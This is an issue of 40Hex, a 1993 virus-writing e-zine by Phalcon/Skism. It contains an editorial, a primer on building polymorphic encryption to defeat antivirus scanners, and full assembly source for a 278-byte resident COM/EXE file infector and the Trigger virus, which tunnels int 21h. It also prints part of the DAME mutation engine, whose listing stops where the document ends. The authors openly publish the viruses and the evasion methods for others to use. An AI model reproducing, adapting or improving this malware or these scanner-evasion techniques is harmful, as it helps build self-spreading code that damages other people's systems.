40Hex Issue 11 Volume 3 Number 2 File 000 Welcome to 40Hex, the industry-standard virus information magazine, brought to you by your friends at Phalcon/Skism, where our mottoes are "We don't care" and "We write viruses until we're blue in the face and green in the eyes." Once again, we continue to bring you only the best in virus news, programming, and miscellaneous source code. We welcome our newest member, Priest, who has written a number of advanced viruses. The source code to one of his viruses, Predator, is included in this issue. Also in this issue is Dark Angel's Multiple Encryptor (DAME). This is one of the more advanced polymorphic routines available. Since source code is included, you'll probably see SPEW (Sweet Potato Encryption Writer) coming soon to finer P0taT0 boards near you. Well, enough ranting -- enjoy the magazine! -)Gheap File Description 0000.................This file, of course. 0001.................Today's Phalcon/Skism Gripe 0002.................Advanced Polymorphism Primer, Part 1 0003.................Phalcon/Skism Trigger Virus & DAME Source Code 0004.................Virus Censorship (Gripe Part II) 0005.................Virus Spotlite: Leech 0006.................Fun with System File Tables 0007.................SVC 5.0 disassembly 0008.................Predator Source Code Greets to: NuKE, The Attitude Adjuster, Kenny C., Al, Bob, and our little potato friends. 40Hex Issue 11 Volume 3 Number 2 File 001 Life, the Universe, and 40Hex It is apparent to even the blindest of observers that the virus phenomenon has caught on. Everyone and his kid brother has decided to start a virus group, whether or not they have programmers capable of creating a viable (read: parasitic) virus. While this in itself is merely offensive, it is the sheer arrogance of these meta-groups which is irritating. Of course, no names will be mentioned, as that would be mean and we all wish for a happy world. The most common trait of these pseudo-groups is for a member to state that all code that was written was "developed on my own." Of course, this is seldom the case. Often, the "original source code" to their viruses clearly originated at some point from a Sourcer disassembly. Heck, when you see "seg_a" or "loc_0027," you know they're just poor hacks. Of course, the the disparate coding styles in the "source" also reveals the nature of the virus. And when the virus is listed as a Dark Avenger hack in various anti- virus products, the individuals persist in their self-induced fantasies, saying their viruses are original. I suppose the anti-virus programmers, who have disassembled countless viruses, can't spot a Dark Avenger or Murphy hack when they see one. Stop fooling yourselves. And these mentally challenged persons continue, insisting routine X, a "new, innovative technique," was developed independently. Yet anyone with even a minimal exposure to virus source code can see traces of other viruses in these routines. Even the ideas presented are seldom new; most having already been implemented by existing viruses. The worst of these people magnify all of their supposed accomplishments, talking of the revolutionary changes they single-handedly effect. Every group goes through a phase in which they hack viruses; they should not be proud of these viruses. But it is merely the first step and most grow out of it. Skism-1, for example, was a Jerusalem hack. It is ancient history. I might also point out that the Phalcon/Skism viruses published in both the last issue and this one are far superior to Skism-1. Phalcon/Skism does not release the source code to half-baked viruses just so 40Hex can look larger. Every virus programmer has a few experimental viruses; yet it is not necessarily appropriate to print all of them. If I wrote a virus which had several hundred bytes of repetitious code, I would be ashamed to print it. It's like releasing a program which has only been half-completed. When a virus programmer additionally claims, "This virus was written two years ago, so it sucks, but I'm going to release it anyway because it's good to learn from," I have my doubts. When s/he further hurridly states, "My other viruses are better," then my doubts grow. Where, pray tell, are these superior viruses? Why publish that which you admit sucks? Of course, anyone that makes such a claim, or one such as, "Next time, I'll release a COM/EXE/SYS/MBR/OV?/DAT/DOC/TXT/ANS/ASC polymorphic, stealth infector that I wrote last week," is suspicious. As an example of the mindless boasting, observe the following: (Note: the following should not be construed as a personal attack against either the person or group in question.) This person wrote, "As with many of my routines, stuff which took many other virus writers a few pages of code took me one page... that's not bad! I have many other goodies up my sleeve, like a 387-byte generic COM/EXE parasitic infector on execution, the smallest of its kind in the WORLD... (with room for improvement!)." Please do not boast if you cannot substantiate your claims. For example, these claims are easily shredded by counterexample. Let us examine the Voronezh-370 virus. It is a generic parasitic COM/EXE infector and it is indeed less than 387 bytes. If 387 bytes is the smallest in the world, then this may very well be the smallest in the universe. With only two hours of fiddling, I came up with the following virus (278 bytes), which may yet be the smallest of its kind in all of creation! Actually, I make no such claim, as a smaller one _can_ be written. The point was to show that this claim was not all that impressive and was, in fact, dead wrong. Let us not be o'erhasty to boast next time. As with many of my viruses, stuff which took many other virus writers over 380 bytes took me under 280... that's not bad! Humour aside, I might point out that this virus is _over_ 100 bytes less than the boaster's attempt, so it is _significantly_ smaller. Gee, I wonder what those extra 109 bytes are used for. -------------Cut here---------------- .model tiny .code .radix 16 .code ; Phalcon/Skism _Small virus ; Written by Dark Angel of Phalcon/Skism ; 278 byte generic COM/EXE infector EXE_ID = -40 viruslength = heap - _small startload = 90 * 4 _small: call relative oldheader dw 020cdh dw 0bh dup (0) relative: pop bp push ds push es xor ax,ax mov ds,ax mov es,ax mov di,startload cmp word ptr ds:[di+25],di jz exit_small lea si,[bp-3] mov cx,viruslength db 2Eh rep movsb mov di,offset old21 + startload mov si,21*4 push si movsw movsw pop di mov ax,offset int21 + startload stosw xchg ax,cx stosw exit_small: pop es pop ds or sp,sp jnp returnCOM returnEXE: mov ax,ds add ax,10 add [bp+16],ax add ax,[bp+0e] mov ss,ax mov sp,cs:[bp+10] jmp dword ptr cs:[bp+14] returnCOM: mov di,100 push di mov si,bp movsw movsb ret infect: push ax push bx push cx push dx push si push di push ds push es mov ax,3d02 int 21 xchg ax,bx push cs pop ds push cs pop es mov si,offset oldheader+startload mov ah,3f mov cx,18 push cx mov dx,si int 21 cmp ax,cx jnz go_already_infected mov di,offset target + startload push di rep movsb pop di mov ax,4202 cwd int 21 cmp ds:[di],'ZM' jz infectEXE sub ax,3 mov byte ptr ds:[di],0e9 mov ds:[di+1],ax sub ax,viruslength cmp ds:[si-17],ax jnz finishinfect go_already_infected: pop cx jmp short already_infected int21: cmp ax,4b00 jz infect jmp short chain infectEXE: cmp word ptr [di+10],EXE_ID jz go_already_infected push ax push dx add ax,viruslength adc dx,0 mov cx,200 div cx or dx,dx jz nohiccup inc ax nohiccup: mov ds:[di+4],ax mov ds:[di+2],dx pop dx pop ax mov cx,10 div cx sub ax,ds:[di+8] mov ds:[di+14],dx mov ds:[di+16],ax mov ds:[di+0e],ax mov word ptr ds:[di+10],EXE_ID finishinfect: mov ah,40 mov cx,viruslength mov dx,startload int 21 mov ax,4200 xor cx,cx cwd int 21 mov ah,40 mov dx,di pop cx int 21 already_infected: mov ah,3e int 21 exitinfect: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax chain: db 0ea heap: old21 dw ?, ? target dw 0ch dup (?) endheap: end _small ------------------------------------- I think the informed virus and anti-virus person recognises these claims as the baseless boasts they are. Let me assure you that you will see none of that in 40Hex. Finally, each new group proclaims to be the world's predominant virus group. Each new group puts out a magazine. Each new group presents H/P/A articles in their magazines. Let us go through each one step by step. Hacking. Gee, can't you see the connection with viruses? Phreaking. Got some c0deZ, d00d? Anarchy. Gee, I want total chaos even though I probably couldn't survive such a situation. H/P/A aside, these "virus magazines" do indeed contain some virus-related articles. Generally, these are of the form "X virus is great, but we won't give source. X does this, it does that, it is not a hack of Dark Avenger even though it scans as such." Some articles give Sourcer disassemblies -- hardly commented, yet termed disassemblies nonetheless. Finally, there are the programming articles containing tips and tricks from the "masters." These often contain nonworking code. These often contain factual errors. These often are nothing but a waste of time. Does this sound elitist? I hope not. Judge virus groups and their magazines on their merits, not on their hype. Do not take a virus group's word as gospel; it seldom reflects the truth. Instead, do some investigation on your own and try to verify (or refute) their claims. You may be surprised at the results. There is also no reason to immediately condemn all anti-virus people as corrupt and "lame"; many are just ordinary people "on the other side." The virus scene is becoming less innovative as these new quasi-groups emerge. This apparent contradiction must end soon. We ask all groups to end the self-back-patting and blatant lying and do some real work. Finally, a short summary of 40Hex is in order, for both new and old readers alike. The paragraphs below show the current editorial stance and opinion of 40Hex, which has evolved during the several years of its existence. What holds true for 40Hex also applies to Phalcon/Skism. 40Hex is _not_ a magazine for self-congratulation. Although put out by Phalcon/Skism, 40Hex serves as medium through which the public may hear the voice of the informed virus community without magnification of either the achievements or failures of any particular virus group or programmer. Although the 40Hex staff offers opinions from the pro-virus standpoint, 40Hex is not an anti-anti-virus magazine. There is a clear distinction between pro- and anti-anti-virus. 40Hex encourages anti-virus researchers to contribute. 40Hex offers a fair, unbiased view except in editorials, which obviously reflect the opinions of the authors. 40Hex _is_ purely a virus magazine -- none of that H/P/A/k-rad stuff. Illegal and anarchistic activities are not condoned by 40Hex and, as such, these topics are not appropriate for inclusion in the magazine. The public distribution of quality virus source code and virus writing techniques, both old and new, is one of the predominant goals of 40Hex, serving to inform both the pro- and anti-virus community. The secondary function of the magazine is to spread virus-related news. 40Hex is concerned more with content than size. You know the old saw "Quality, not quantity." Other magazines appear larger than they truly are because each article is padded to 80 columns, effectively doubling its file length. 40Hex articles are _not_ mere rehashes of what has already been printed. Other magazines have presented articles which closely mirror those already published in 40Hex. Such poorly rewritten articles are neither enlightening nor necessary. 40Hex is _not_ a tool with which people wreak havok upon others' systems. This is simply an unfair view of the magazine. In fact, 40Hex is against wanton destruction of computer systems. Viruses are so prevalent nowadays that anyone can obtain them with little difficulty. They also need not obtain 40Hex to be able to type "FORMAT C:" Knobs will be knobs. 40Hex _is_ a public forum, allowing those who take the time to write to have their opinions published. We encourage all to send letters to 40Hex, as they provide valuable insight into the virus and anti-virus communities from a fresh perspective. 40Hex is _not_ inherently evil. What you choose to do with the knowledge provided is your business. Once again, 40Hex does not condone the illegal spread of viruses. Such actions are frowned upon. Our stance has evolved over the years, so don't bring up something from 40Hex-2 and cry hippocrite -- unless, of course, you have a closed mind and absolutely nothing else to say. -- Dark Angel Phalcon/Skism 40Hex Issue 11 Volume 3 Number 2 File 002 ııııııııııııııııııııı ADVANCED POLYMORPHISM PRIMER PART THE FIRST ııııııııııııııııııııı By Dark Angel Phalcon/Skism ııııııııııııııııııııı With the recent proliferation of virus encryption "engines," I was inspired to write my own. In a few short weeks, I was able to construct one such routine which can hold its own. A polymorphic encryption routine is nothing more than a complex code generator. Writing such a routine, while not incredibly difficult, requires careful planning and perhaps more than a few false starts. The utility of true polymorphism is, by now, an accepted fact. Scanning for the majority of viruses is a trivial task, involving merely the identification of a specific pattern of bytes in executable files. This approach is quick and may be used to detect nearly all known viruses. However, polymorphism throws a monkey wrench into the works. Polymorphic viruses encode each copy of the virus with a different decryption routine. Since (theoretically) no bytes remain constant in each generated decryption routine, virus detectors cannot rely on a simple pattern match to locate these viruses. Instead, they are forced to use an algorithmic appproach susceptible to "false positives," misleading reports of the existence of the virus where it is not truly present. Creating a reliable algorithm to detect the polymorphic routine takes far more effort than isolating a usable scan string. Additionally, if a virus detector fails to find even one instance of the virus, then that single instance will remain undetected and spawn many more generations of the virus. Survival, of course, is the ultimate goal of the virus. Before attempting to write a polymorphic routine, it is necessary to obtain a manual detailing the 80x86 instruction set. Without bit-level manipulation of the opcodes, any polymorphic routine will be of limited scope. The nice rigid structure of the 80x86 instruction set will be readily apparent after a simple perusal of the opcodes. Exploitation of this structured instruction set allows for the compact code generation routines which lie at the heart of every significant polymorphic routine. After examining the structure of the opcodes, the basic organisation of the polymorphic routine should be laid out. Here, an understanding of the basics behind such routines is required. The traditional approach treats the decryption routine as a simple executable string, such as "BB1301B900022E8137123483C302E2F6." A true (advanced) polymorphic routine, by contrast, views the decryption routine as a conceptual algorithm, such as, "Set up a 'pointer' register, that is, the register whose contents hold a pointer to the memory to be decrypted. Set up a counter register. Use the pointer register to decrypt one byte. Update the pointer register. Decrement the count register, looping if it is not zero." Two routines which fit this algorithm follow: Sample Encryption 1 ------ ---------- - mov bx,offset startencrypt ; here, bx is the 'pointer' register mov cx,viruslength / 2 ; and cx holds the # of iterations decrypt_loop: xor word ptr [bx],12h ; decrypt one word at a time inc bx ; update the pointer register to inc bx ; point to the next word loop decrypt_loop ; and continue the decryption startencrypt: Sample Encryption 2 ------ ---------- - start: mov bx,viruslength ; now bx holds the decryption length mov bp,offset start ; bp is the 'pointer' register decrypt_loop: add byte ptr [bp+0Ch],33h ; bp+0Ch -> memory location to be ; decrypted at each iteration inc bp ; update the pointer register dec bx ; and the count register jnz decrypt_loop ; loop if still more to decrypt The number of possibilities is essentially infinite. Naturally, treating the decryption as an algorithm rather than as an executable string greatly increases the flexibility in creating the actual routine. Various portions of the decryption algorithm may be tinkered with, allowing for further variations. Using the example above, one possible variation is to swap the order of the setup of the registers, i.e. mov cx,viruslength mov bx,offset startencrypt in lieu of mov bx,offset startencrypt mov cx,viruslength It is up to the individual to decide upon the specific variations which should be included in the polymorphic routine. Depending upon the nature of the variations and the structure of the polymorphic routine, each increase in power may be accompanied with only a minimal sacrifice in code length. The goal is for the routine to be capable of generating the greatest number of variations in the least amount of code. It is therefore desirable to write the polymorphic routine in a manner such that additional variations may be easily accommodated. Modularity is helpful in this respect, as the modest overhead is rapidly offset by substantial space savings. The first step most polymorphic routines undergo is the determination of the precise variation which is to be encoded. For example, a polymorphic routine may decide that the decryption routine is to use word-length xor encryption with bx as the pointer register, dx as a container for the encryption value, and cx as the counter register. Once this information is known, the routine should be able to calculate the initial value of each variable. For example, if cx is the counter register for a byte-length encryption, then it should hold the virus length. To increase variability, the length of the encryption can be increased by a small, random amount. Note that some variables, in particular the pointer register, may not be known before encoding the rest of the routine. This detail is discussed below. Of course, selecting the variables and registers will not in and of itself yield a valid decryption routine; the polymorphic routine must also encode the actual instructions to perform the job! The cheesiest polymorphic routines encode a single "mov" instruction for the assignment of a value to a register. The more complex routines encode a series of instructions which are functionally equivalent to the simple three byte "mov" statement yet far different in form. For example, mov ax, 808h could be replaced with mov ax, 303h ; ax = 303h mov bx, 101h ; bx = 101h add ax, bx ; ax = 404h shl ax, 1 ; ax = 808h Recall that the registers should be encoded in a random order. The counter variable, for example, should not always be the first to be encoded. Predictability, the bane of polymorphic routines, must be avoided at all costs. After the registers are encoded, the actual decryption loop should then be encoded. The loop can perform a number of actions, the most significant of which should be to manipulate the memory location, i.e. the actual decryption instruction, and to update the pointer register, if necessary. Finally, the loop instruction itself should be encoded. This can take many forms, including "loop," "loopnz," "jnz," etc. Possible variations include altering the decryption value register and the counter register during each iteration. This is the general pattern of encoding. By placing garbling, or "do- nothing," instructions between the essential pieces of code, further variability may be ensured. These instructions may take many forms. If the encoding routines are well-designed, the garbler can take advantage of the pre-existing code to generate null instructions, such as assignments to unused registers. Once the decryption routine has been written, it is necessary to encrypt the virus code. The traditional approach gives the polymorphic routine the job of encrypting the code. The polymorphic routine should therefore "remember" how the precise variation used by the decryptor and adjust the encryption routine in a complementary fashion. An alternate approach is for the polymorphic routine to simultaneously encode both the encryption and decryption routines. Although it adds overhead to the code, it is an extremely flexible approach that easily accommodates variations which may be later introduced into the polymorphic routine. Variable-length decryptors come at a significant trade-off; the exact start of the decryption cannot be known before encoding the decryptor. There are two approaches to working around this limitation. The first is to encode the pointer register in a single instruction, i.e. mov bx,185h and to patch the initial value once it is known. This is simplistic, though undesirable, as it decreases the variability of the routine. An alternate approach is to encode the encryption instruction in the form xor word ptr [bx+185h], cx (as in Sample Encryption 2, above) instead of xor word ptr [bx], cx (as in Sample Encryption 1). This increases the flexibility of the routine, as the initial value of the pointer register need not be any fixed value; correct decryption may be assured by adjusting the offset in the decryption instruction. It is then possible to encode the pointer register with multiple instructions, increasing flexibility. However, using either method alone increases the predictability of the generated code. A better approach would be to incorporate both methods into a single polymorphic routine and randomly selecting one during each run. As an example of a polymorphic routine, I present DAME, Dark Angel's Multiple Encryptor and a simple virus which utilises it. They appear in the following article. DAME uses a variety of powerful techniques to achieve full polymorphism. Additionally, it is easy to enhance; both the encoding routines and the garblers can be extended algorithmically with minimal effort. In the next issue, I will thoroughly comment and explain the various parts of DAME. 40Hex Issue 11 Volume 3 Number 2 File 003 Trigger Virus This virus was written as a test virus for DAME, Dark Angel's Multiple Encryptor. Trigger is a resident COM/EXE infector with tunneling capabilities. When it executes, it traces down the int 21h chain until it finds the original int 21h handler. It then inserts code to jump to the virus, which returns control to the original int 21h handler after processing the request. -- Dark Angel Phalcon/Skism 1993 -begin trigger.asm------------------------------------------------------------- .model tiny .code .radix 16 org 0 viruslength = (heap - entry) virussizeK = (endvirus - entry + 3ff) / 400 virussizepara = (virussizeK)*40 EXE_ID = 'PS' entry: call past next: db 0,"Trigger by Dark Angel of Phalcon/Skism",0Dh,0A db "Utilising Dark Angel's Multiple Encryptor (DAME)",0Dh,0A db 0Dh,0A,0 checkstub db 72,0FA,0E,1F,0BA,00,0B8,0B8,40,00,8E,0C0,26,81,3E,63 past: cld pop bp mov ax,0cf0 mov bx,'DA' int 21 cmp bx,'GH' jnz no_trigger trigger: push ds push es push cs pop ds xor ax,ax checkagain: lea si,[bp+checkstub-next] mov es,ax xor di,di mov cx,8 rep cmpsw jz trigger_it inc ax cmp ax,0a000 jb checkagain jmp exit_trigger trigger_it: mov [bp+patch-next],ax mov ds,ax mov byte ptr ds:73,0cbh push bp mov bp,-80 jmp short $+2 db 09a ; call far ptr dw 1 patch dw ? pop bp mov byte ptr ds:73,1f exit_trigger: pop es pop ds jmp short restore no_trigger: mov ax,4b90 int 21 cmp ax,bx jz restore push ds push es mov ax,ds dec ax mov ds,ax sub word ptr ds:3,virussizepara sub word ptr ds:12,virussizepara mov es,ds:12 push cs pop ds xor di,di lea si,[bp+offset entry-offset next] mov cx,(viruslength + 1)/2 rep movsw xor ax,ax mov ds,ax sub word ptr ds:413,virussizeK mov di,offset oldint21 mov si,21*4 movsw movsw cli pushf pushf pop ax or ah,1 push ax mov ds:1*4+2,es mov word ptr ds:1*4,offset int1_1 popf mov ah,30 pushf call dword ptr ds:21*4 popf lds si,dword ptr es:oldint21 mov di,si lodsw mov word ptr es:int21patch1,ax lodsw mov word ptr es:int21patch2,ax lodsb mov byte ptr es:int21patch3,al push ds ; es:di->int 21 handler push es pop ds ; ds->high segment pop es mov al,0ea stosb mov ax,offset int21 stosw mov ax,ds stosw sti pop es pop ds restore: cmp sp,-2 jnz restoreEXE restoreCOM: lea si,[bp+readbuffer-next] mov di,100 push di movsw movsw ret restoreEXE: mov ax,ds add ax,10 add cs:[bp+readbuffer+16-next], ax add ax,cs:[bp+readbuffer+0e-next] mov ss,ax mov sp,cs:[bp+readbuffer+10-next] jmp dword ptr cs:[bp+readbuffer+14-next] readbuffer dw 20cdh dw 0bh dup (?) int1_1: push bp mov bp,sp push ax mov ax, [bp+4] ; get segment cmp ax, cs:oldint21+2 jae exitint1 mov cs:oldint21+2,ax mov ax, [bp+2] mov cs:oldint21,ax exitint1: pop ax pop bp iret int1_2: push bp mov bp,sp push ax mov ax,cs cmp ax,[bp+4] jz exitint1 mov ax,[bp+4] cmp ax,cs:oldint21+2 jnz int1_2_restore mov ax,[bp+2] cmp ax,cs:oldint21 jb int1_2_restore sub ax,5 cmp ax,cs:oldint21 jbe exitint1 int1_2_restore: push es push di cld les di,dword ptr cs:oldint21 mov al,0ea stosb mov ax,offset int21 stosw mov ax,cs stosw pop di pop es and [bp+6],0feff jmp exitint1 install: mov bx,ax iret int21: cmp ax,4b90 jz install push ds push di lds di,dword ptr cs:oldint21 mov word ptr ds:[di],1234 int21patch1 = $ - 2 mov word ptr ds:[di+2],1234 int21patch2 = $ - 2 mov byte ptr ds:[di+4],12 int21patch3 = $ - 1 pop di pop ds cld cmp ax,4b00 jz infect exitint21: push ds push ax xor ax,ax mov ds,ax cli mov word ptr ds:1*4,offset int1_2 mov ds:1*4+2,cs sti pushf pop ax or ah,1 push ax popf pop ax pop ds db 0ea oldint21 dw 0, 0 callint21: pushf call dword ptr cs:oldint21 ret already_infected: pop dx pop cx mov ax,5701 call callint21 mov ah,3e call callint21 exitnoclose: mov ax,4301 pop dx pop ds pop cx call callint21 exitinfect: pop es pop ds pop di pop si pop bp pop bx pop dx pop cx pop ax jmp exitint21 infect: push ax push cx push dx push bx push bp push si push di push ds push es mov ax,4300 call callint21 push cx push ds push dx mov ax,4301 xor cx,cx call callint21 mov ax,3d02 call callint21 jc exitnoclose xchg ax,bx mov ax,5700 int 21 push cx push dx mov ah,3f mov cx,18 push cs pop ds push cs pop es mov dx,offset readbuffer mov si,dx call callint21 jc already_infected mov di,offset writebuffer mov cx,18/2 push si push di rep movsw pop di pop si mov ax,4202 xor cx,cx cwd int 21 cmp word ptr [di],'ZM' jnz infectCOM infectEXE: cmp readbuffer+10,EXE_ID go_already_infected: jz already_infected mov ds:writebuffer+4,ax mov ds:writebuffer+2,dx mov cx,10 div cx sub ax,ds:writebuffer+8 mov ds:writebuffer+14,dx mov ds:writebuffer+16,ax xchg cx,dx mov ds:writebuffer+0e,ax mov ds:writebuffer+10,EXE_ID mov al,10b jmp finishinfect infectCOM: ; si = readbuffer, di = writebuffer push ax mov cx,4 xor dx,dx check_infection_loop: lodsb add dl,al loop check_infection_loop pop ax or dl,dl jz go_already_infected mov dx,18 cmp ax,dx jnb no_fixup_com mov ax,4200 xor cx,cx int 21 no_fixup_com: mov cx,ax inc ch ; add cx,100 sub ax,3 push ax mov al,0e9 stosb pop ax stosw add al,ah add al,0e9 neg al stosb mov al,11b finishinfect: cbw ; ax = bitmask ; bx = start decrypt in carrier file ; cx = encrypt length ; dx = start encrypt in virus ; si = buffer to put decryption routine ; di = buffer to put encryption routine push bx xchg cx,bx xor si,si mov di,offset copyvirus mov cx,(heap-entry+1)/2 rep movsw push ax call rnd_init_seed pop ax mov dx,offset copyvirus mov cx,viruslength mov si,offset _decryptbuffer mov di,offset _encryptbuffer call dame push cx cmp ds:writebuffer,'ZM' jnz no_fix_header mov dx,ds:writebuffer+2 mov ax,ds:writebuffer+4 add cx,viruslength add ax,cx adc dx,0 mov cx,200 div cx or dx,dx jz nohiccup inc ax nohiccup: mov ds:writebuffer+4,ax mov ds:writebuffer+2,dx no_fix_header: call di pop cx pop bx mov ah,40 mov dx,offset _decryptbuffer call callint21 mov ah,40 mov cx,viruslength mov dx,offset copyvirus call callint21 mov ax,4200 xor cx,cx cwd int 21 mov ah,40 mov cx,18 mov dx,offset writebuffer call callint21 jmp already_infected vars = 0 include dame.asm heap: vars = 1 include dame.asm writebuffer dw 0c dup (?) _encryptbuffer: db 80 dup (?) _decryptbuffer: db 180 dup (?) copyvirus db viruslength dup (?) db 20 dup (?) endvirus: end entry -end trigger.asm----begin dame.asm--------------------------------------------- ifndef vars vars = 2 endif if vars eq 1 else _ax = 0 _cx = 1 _dx = 2 _bx = 3 _sp = 4 _bp = 5 _si = 6 _di = 7 _es = 8 _cs = 9 _ss = 0a _ds = 0bh MAXNEST = 0a ; controls recursion problems ; ax = flags ; 15 : Reserved ; 14 : 0 = word, 1 = dword ; 13 : encryption direction : 0 = forwards, 1 = backwards ; 12 : counter direction : 0 = forwards, 1 = backwards ; 11 : ^ ; 10 : R ; 9 : E ; 8 : S ; 7 : E ; 6 : R ; 5 : V ; 4 : E ; 3 : D ; 2 : v ; DAME sets the above bits ; ; Virus sets the following bits: ; 1 : garble : 1 = yes, 0 = no ; 0 : DS = CS : 1 = yes, 0 = no ; bx = start decrypt in carrier file ; cx = encrypt length ; dx = start encrypt ; si = buffer to put decryption routine ; di = buffer to put encryption routine ; ds = current cs ; es = current cs ; Returns: ; cx = decryption routine length ; all other registers are preserved. rnd_init_seed: push dx push cx push bx mov ah,2C ; get time int 21 in al,40 ; port 40h, 8253 timer 0 clock mov ah,al in al,40 ; port 40h, 8253 timer 0 clock xor ax,cx xor dx,ax jmp short rnd_get_loop_done get_rand: push dx push cx push bx in al,40 ; get from timer 0 clock db 5 ; add ax, xxxx rnd_get_patch1 dw 0 db 0BA ; mov dx, xxxx rnd_get_patch2 dw 0 mov cx,7 rnd_get_loop: shl ax,1 rcl dx,1 mov bl,al xor bl,dh jns rnd_get_loop_loc inc al rnd_get_loop_loc: loop rnd_get_loop rnd_get_loop_done: mov rnd_get_patch1,ax mov rnd_get_patch2,dx mov al,dl pop bx pop cx pop dx retn reg_xlat_table: db 10000111b ; bx db 0 ; sp db 10000110b ; bp db 10000100b ; si db 10000101b ; di aligntable db 3,7,0f,1f redo_dame: pop di pop si pop dx pop cx pop bx pop ax dame: ; Dark Angel's Multiple Encryptor cld push ax push bx push cx push dx push si push di call _dame pop di pop si pop dx pop bx ; return value in cx pop bx pop ax ret _dame: ; set up variables cld push ax mov ax,offset _encryptpointer xchg ax,di ; pointer to encryption routine buffer stosw xchg si,ax ; pointer to decryption routine buffer stosw stosw xchg ax,dx ; starting offset of encryption stosw xchg ax,bx ; starting offset of decryption routine stosw xchg cx,dx ; dx = encrypt size call clear_used_regs mov cx,(endclear1 - beginclear1) / 2 rep stosw call get_rand and ax,not 3 pop cx xor cx,ax ; cx = bitmask call get_rand_bx and bx,3 mov al,byte ptr [bx+aligntable] cbw add dx,ax ; round up not ax and dx,ax mov ax,dx ; new encryption length stosw ; _encrypt_length shr ax,1 test ch,40 ; dword? jz word_encryption shr ax,1 word_encryption: test ch,10 jnz counter_backwards neg ax counter_backwards: stosw ; _counter_value xchg ax,dx ; get encryption length in bytes test ch,20 jnz encrypt_forwards neg ax ; pointer to start of decryption encrypt_forwards: stosw ; _pointer_value call get_rand stosw ; encryption value = _decrypt_value mov ax,8484 stosb push di stosw stosb pop di call one_in_two js s1 call get_another stosb call get_rand mov _pointer_value,ax dec di s1: inc di jmp short gbxoh_skip get_bx_or_higher: call clear_reg gbxoh_skip: call get_another cmp al,_bx jb get_bx_or_higher stosb ; _pointer_reg call one_in_two js s2 call get_another stosb ; _encrypt_reg s2: ; encode setup part of decryption call clear_used_regs encode_setup: mov di,_decryptpointer call twogarble mov si,offset _dummy_reg push si encode_setup_get_another: call get_rand_bx and bx,3 mov al,[si+bx] cbw test al,80 jnz encode_setup_get_another or byte ptr [bx+_dummy_reg],80 mov si,ax inc byte ptr [si+offset _used_regs] add bx,bx mov dx,word ptr [bx+_counter_value-2] mov _nest,0 call mov_reg_xxxx call twogarble call swap_decrypt_encrypt push cx and cl,not 3 call _mov_reg_xxxx pop cx mov _encryptpointer,di pop si mov dx,4 encode_setup_check_if_done: lodsb test al,80 jz encode_setup dec dx jnz encode_setup_check_if_done mov si,offset _encryptpointer mov di,offset _loopstartencrypt movsw movsw ; encode decryption part of loop mov _relocate_amt,0 call do_encrypt1 test ch,40 jz dont_encrypt2 mov _relocate_amt,2 call do_encrypt1 dont_encrypt2: mov bx,offset _loopstartencrypt push cx and cl,not 3 call encodejmp pop cx mov ax,0c3fc ; cld, ret stosw mov si,offset _encrypt_relocator mov di,_start_encrypt push cx call relocate pop cx mov bx,offset _loopstartdecrypt call encodejmp call fourgarble mov _decryptpointer,di mov si,offset _decrypt_relocator sub di,_decryptpointer2 add di,_start_decrypt relocate: test ch,20 jz do_encrypt_backwards add di,_encrypt_length do_encrypt_backwards: sub di,_pointer_value mov cx,word ptr [si-2] jcxz exit_relocate xchg ax,di relocate_loop: xchg ax,di lodsw xchg ax,di add [di],ax loop relocate_loop exit_relocate: mov di,_decryptpointer mov cx,di sub cx,_decryptpointer2 ret do_encrypt1: call playencrypt call encryption call playencrypt ret encodejmp: mov di,word ptr [bx+_encryptpointer-_loopstartencrypt] push bx mov _nest,0 mov al,_pointer_reg and ax,7 mov dx,2 test ch,40 jz update_pointer1 shl dx,1 update_pointer1: test ch,20 jz update_pointer2 neg dx update_pointer2: call add_reg_xxxx mov dl,75 ; jnz mov al,_counter_reg and ax,7 cmp al,_sp jz do_jnz push dx mov dx,1 test ch,10 ; check counter direction jz go_counter_forwards cmp al,_cx jnz regular call one_in_two js regular pop dx call get_rand_bx xchg bx,dx and dl,2 or dl,0e0 ; loop/loopnz jmp short do_jnz regular: neg dx go_counter_forwards: call add_reg_xxxx pop dx do_jnz: pop bx mov ax,[bx] sub ax,di dec ax dec ax xchg ah,al mov al,dl ; jnz test ah,80 jnz jmplocation_okay pop ax pop ax jmp redo_dame jmplocation_okay: stosw mov word ptr [bx+_encryptpointer-_loopstartencrypt],di ret swap_decrypt_encrypt: mov _nest,MAXNEST mov _decryptpointer,di mov di,_encryptpointer ret playencrypt: mov di,_decryptpointer call twogarble mov al,_encrypt_reg and ax,7 cmp al,4 ; is there an encryption register? jz swap_decrypt_encrypt call get_rand_bx ; 3/4 chance of doing something cmp bl,0c0 ja swap_decrypt_encrypt call _playencrypt call handle_jmp_table_nogarble finish_encryption: call swap_decrypt_encrypt push cx and cl,not 3 call [bx+si+1] pop cx mov _encryptpointer,di ret _playencrypt: mov _nest,0 call one_in_two js get_used_register call get_rand_bx mov si,offset oneregtable jmp short continue_playencrypt get_used_register: call get_rand_bx and bx,7 cmp bl,_sp jz get_used_register cmp byte ptr [bx+_used_regs],0 jz get_used_register mov si,offset tworegtable continue_playencrypt: xchg dx,bx ret encryption: mov di,_decryptpointer call twogarble mov al,_pointer_reg and ax,7 mov bx,offset reg_xlat_table-3 xlat mov bp,offset _decrypt_relocate_num call _playencrypt call go_next call handle_jmp_table_nogarble mov bp,offset _encrypt_relocate_num call go_next jmp short finish_encryption go_next: push ax lodsb cbw add si,ax pop ax inc si inc si ret clear_used_regs: xor ax,ax mov di,offset _used_regs stosw stosw inc ax stosw dec ax stosw ret get_another: call get_rand and ax,7 mov si,ax cmp [si+_used_regs],0 jnz get_another inc [si+_used_regs] ret clear_reg_dx: xchg ax,dx clear_reg: mov si,ax mov byte ptr [si+_used_regs],0 ret free_regs: ; check for free registers ; zero flag if OK push ax push cx push di mov di,offset _used_regs mov cx,8 xor ax,ax repne scasb pop di pop cx pop ax ret one_in_two: push ax call get_rand or ax,ax pop ax ret get_rand_bx: xchg ax,bx call get_rand xchg ax,bx return: ret fourgarble: call twogarble twogarble: mov _nest,0 call garble garble: ; ax, dx preserved call free_regs jne return test cl,2 jz return push ax push dx call get_rand ; random # to dx xchg ax,dx call get_another ; random reg in al call clear_reg ; don't mark as used mov si,offset garbletable jmp short handle_jmp_table_nopush_ax_dx handle_jmp_table: ; ax,dx preserved push si call garble pop si handle_jmp_table_nogarble: push ax push dx handle_jmp_table_nopush_ax_dx: push si push cx xchg ax,cx lodsb ; get mask value cbw xchg ax,cx call get_rand_bx and bx,cx pop cx inc _nest cmp _nest,MAXNEST jb not_max_nest xor bx,bx 